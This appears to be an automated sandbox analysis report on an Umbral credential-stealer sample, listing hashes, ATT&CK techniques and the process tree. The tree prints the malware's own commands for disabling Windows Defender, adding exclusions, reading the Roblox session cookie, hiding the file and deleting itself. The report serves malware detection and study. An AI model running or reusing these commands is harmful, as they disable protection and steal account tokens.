umbral | 7c6685525101dbe507d53a87e9c31a80c400f53cfb6545b762f641ba4fd886eb

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20-08-2024 18:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8ea49a2060302a178c62b0b81071f500N.exe
Size

422KB
MD5

8ea49a2060302a178c62b0b81071f500
SHA1

472285c12798562ccda3acba3cc1d497871d98b1
SHA256

7c6685525101dbe507d53a87e9c31a80c400f53cfb6545b762f641ba4fd886eb
SHA512

4ffb22e6d5ceaa5f568aa837d0cd475e5aeebaad6016fe30f0175d2ee15377a2aba9787f9b60611f46b1a93352a43f60cd3f0db94fce92bb3167b818b85f59a2
SSDEEP

6144:LloZM+rIkd8g+EtXHkv/iD4ty4/IuphChn6opNsGVb8e1mHbih:JoZtL+EP8ty4/IuphChn6opNsie2h

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3044-1-0x00000000012D0000-0x0000000001340000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2684	powershell.exe
2616	powershell.exe
2720	powershell.exe
796	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	8ea49a2060302a178c62b0b81071f500N.exe

Deletes itself 1 IoCs

pid	Process
2292	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2292	cmd.exe
2296	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2332	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2296	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3044	8ea49a2060302a178c62b0b81071f500N.exe
2684	powershell.exe
2616	powershell.exe
2720	powershell.exe
2080	powershell.exe
796	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	8ea49a2060302a178c62b0b81071f500N.exe
Token: SeIncreaseQuotaPrivilege	2692	wmic.exe
Token: SeSecurityPrivilege	2692	wmic.exe
Token: SeTakeOwnershipPrivilege	2692	wmic.exe
Token: SeLoadDriverPrivilege	2692	wmic.exe
Token: SeSystemProfilePrivilege	2692	wmic.exe
Token: SeSystemtimePrivilege	2692	wmic.exe
Token: SeProfSingleProcessPrivilege	2692	wmic.exe
Token: SeIncBasePriorityPrivilege	2692	wmic.exe
Token: SeCreatePagefilePrivilege	2692	wmic.exe
Token: SeBackupPrivilege	2692	wmic.exe
Token: SeRestorePrivilege	2692	wmic.exe
Token: SeShutdownPrivilege	2692	wmic.exe
Token: SeDebugPrivilege	2692	wmic.exe
Token: SeSystemEnvironmentPrivilege	2692	wmic.exe
Token: SeRemoteShutdownPrivilege	2692	wmic.exe
Token: SeUndockPrivilege	2692	wmic.exe
Token: SeManageVolumePrivilege	2692	wmic.exe
Token: 33	2692	wmic.exe
Token: 34	2692	wmic.exe
Token: 35	2692	wmic.exe
Token: SeIncreaseQuotaPrivilege	2692	wmic.exe
Token: SeSecurityPrivilege	2692	wmic.exe
Token: SeTakeOwnershipPrivilege	2692	wmic.exe
Token: SeLoadDriverPrivilege	2692	wmic.exe
Token: SeSystemProfilePrivilege	2692	wmic.exe
Token: SeSystemtimePrivilege	2692	wmic.exe
Token: SeProfSingleProcessPrivilege	2692	wmic.exe
Token: SeIncBasePriorityPrivilege	2692	wmic.exe
Token: SeCreatePagefilePrivilege	2692	wmic.exe
Token: SeBackupPrivilege	2692	wmic.exe
Token: SeRestorePrivilege	2692	wmic.exe
Token: SeShutdownPrivilege	2692	wmic.exe
Token: SeDebugPrivilege	2692	wmic.exe
Token: SeSystemEnvironmentPrivilege	2692	wmic.exe
Token: SeRemoteShutdownPrivilege	2692	wmic.exe
Token: SeUndockPrivilege	2692	wmic.exe
Token: SeManageVolumePrivilege	2692	wmic.exe
Token: 33	2692	wmic.exe
Token: 34	2692	wmic.exe
Token: 35	2692	wmic.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeIncreaseQuotaPrivilege	2864	wmic.exe
Token: SeSecurityPrivilege	2864	wmic.exe
Token: SeTakeOwnershipPrivilege	2864	wmic.exe
Token: SeLoadDriverPrivilege	2864	wmic.exe
Token: SeSystemProfilePrivilege	2864	wmic.exe
Token: SeSystemtimePrivilege	2864	wmic.exe
Token: SeProfSingleProcessPrivilege	2864	wmic.exe
Token: SeIncBasePriorityPrivilege	2864	wmic.exe
Token: SeCreatePagefilePrivilege	2864	wmic.exe
Token: SeBackupPrivilege	2864	wmic.exe
Token: SeRestorePrivilege	2864	wmic.exe
Token: SeShutdownPrivilege	2864	wmic.exe
Token: SeDebugPrivilege	2864	wmic.exe
Token: SeSystemEnvironmentPrivilege	2864	wmic.exe
Token: SeRemoteShutdownPrivilege	2864	wmic.exe
Token: SeUndockPrivilege	2864	wmic.exe
Token: SeManageVolumePrivilege	2864	wmic.exe
Token: 33	2864	wmic.exe
Token: 34	2864	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2692	3044	8ea49a2060302a178c62b0b81071f500N.exe	30
PID 3044 wrote to memory of 2692	3044	8ea49a2060302a178c62b0b81071f500N.exe	30
PID 3044 wrote to memory of 2692	3044	8ea49a2060302a178c62b0b81071f500N.exe	30
PID 3044 wrote to memory of 2844	3044	8ea49a2060302a178c62b0b81071f500N.exe	33
PID 3044 wrote to memory of 2844	3044	8ea49a2060302a178c62b0b81071f500N.exe	33
PID 3044 wrote to memory of 2844	3044	8ea49a2060302a178c62b0b81071f500N.exe	33
PID 3044 wrote to memory of 2684	3044	8ea49a2060302a178c62b0b81071f500N.exe	35
PID 3044 wrote to memory of 2684	3044	8ea49a2060302a178c62b0b81071f500N.exe	35
PID 3044 wrote to memory of 2684	3044	8ea49a2060302a178c62b0b81071f500N.exe	35
PID 3044 wrote to memory of 2616	3044	8ea49a2060302a178c62b0b81071f500N.exe	37
PID 3044 wrote to memory of 2616	3044	8ea49a2060302a178c62b0b81071f500N.exe	37
PID 3044 wrote to memory of 2616	3044	8ea49a2060302a178c62b0b81071f500N.exe	37
PID 3044 wrote to memory of 2720	3044	8ea49a2060302a178c62b0b81071f500N.exe	39
PID 3044 wrote to memory of 2720	3044	8ea49a2060302a178c62b0b81071f500N.exe	39
PID 3044 wrote to memory of 2720	3044	8ea49a2060302a178c62b0b81071f500N.exe	39
PID 3044 wrote to memory of 2080	3044	8ea49a2060302a178c62b0b81071f500N.exe	41
PID 3044 wrote to memory of 2080	3044	8ea49a2060302a178c62b0b81071f500N.exe	41
PID 3044 wrote to memory of 2080	3044	8ea49a2060302a178c62b0b81071f500N.exe	41
PID 3044 wrote to memory of 2864	3044	8ea49a2060302a178c62b0b81071f500N.exe	43
PID 3044 wrote to memory of 2864	3044	8ea49a2060302a178c62b0b81071f500N.exe	43
PID 3044 wrote to memory of 2864	3044	8ea49a2060302a178c62b0b81071f500N.exe	43
PID 3044 wrote to memory of 1064	3044	8ea49a2060302a178c62b0b81071f500N.exe	45
PID 3044 wrote to memory of 1064	3044	8ea49a2060302a178c62b0b81071f500N.exe	45
PID 3044 wrote to memory of 1064	3044	8ea49a2060302a178c62b0b81071f500N.exe	45
PID 3044 wrote to memory of 1176	3044	8ea49a2060302a178c62b0b81071f500N.exe	47
PID 3044 wrote to memory of 1176	3044	8ea49a2060302a178c62b0b81071f500N.exe	47
PID 3044 wrote to memory of 1176	3044	8ea49a2060302a178c62b0b81071f500N.exe	47
PID 3044 wrote to memory of 796	3044	8ea49a2060302a178c62b0b81071f500N.exe	49
PID 3044 wrote to memory of 796	3044	8ea49a2060302a178c62b0b81071f500N.exe	49
PID 3044 wrote to memory of 796	3044	8ea49a2060302a178c62b0b81071f500N.exe	49
PID 3044 wrote to memory of 2332	3044	8ea49a2060302a178c62b0b81071f500N.exe	51
PID 3044 wrote to memory of 2332	3044	8ea49a2060302a178c62b0b81071f500N.exe	51
PID 3044 wrote to memory of 2332	3044	8ea49a2060302a178c62b0b81071f500N.exe	51
PID 3044 wrote to memory of 2292	3044	8ea49a2060302a178c62b0b81071f500N.exe	53
PID 3044 wrote to memory of 2292	3044	8ea49a2060302a178c62b0b81071f500N.exe	53
PID 3044 wrote to memory of 2292	3044	8ea49a2060302a178c62b0b81071f500N.exe	53
PID 2292 wrote to memory of 2296	2292	cmd.exe	55
PID 2292 wrote to memory of 2296	2292	cmd.exe	55
PID 2292 wrote to memory of 2296	2292	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2844	attrib.exe

C:\Users\Admin\AppData\Local\Temp\8ea49a2060302a178c62b0b81071f500N.exe
"C:\Users\Admin\AppData\Local\Temp\8ea49a2060302a178c62b0b81071f500N.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\8ea49a2060302a178c62b0b81071f500N.exe"
  2⤵
  - Views/modifies file attributes
  PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8ea49a2060302a178c62b0b81071f500N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1064
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:796
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2332
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\8ea49a2060302a178c62b0b81071f500N.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c6daab53dee6a2a92faf623fe0e83cbf

SHA1
6ea4c0549563cf8834c2f94969d446a736bbda50

SHA256
e71105b1ff8427720e56170b5ae5f65909c16498f5a7cac4a8e298e0a4f121d3

SHA512
d68287ed7f5c298047f6e447d66959f0331ef359adaf17e6a2acedf1491135b47ac2b86d7b7b6683474a0609bbe946d1b2d4047013fa69a52a82410d68b3e070

Download Submit
memory/796-44-0x0000000001DB0000-0x0000000001DB8000-memory.dmp

Filesize
32KB

Download
memory/2616-14-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2616-15-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2684-7-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/2684-8-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/3044-0-0x000007FEF5C93000-0x000007FEF5C94000-memory.dmp

Filesize
4KB

Download
memory/3044-1-0x00000000012D0000-0x0000000001340000-memory.dmp

Filesize
448KB

Download
memory/3044-2-0x000007FEF5C90000-0x000007FEF667C000-memory.dmp

Filesize
9.9MB

Download
memory/3044-48-0x000007FEF5C90000-0x000007FEF667C000-memory.dmp

Filesize
9.9MB

Download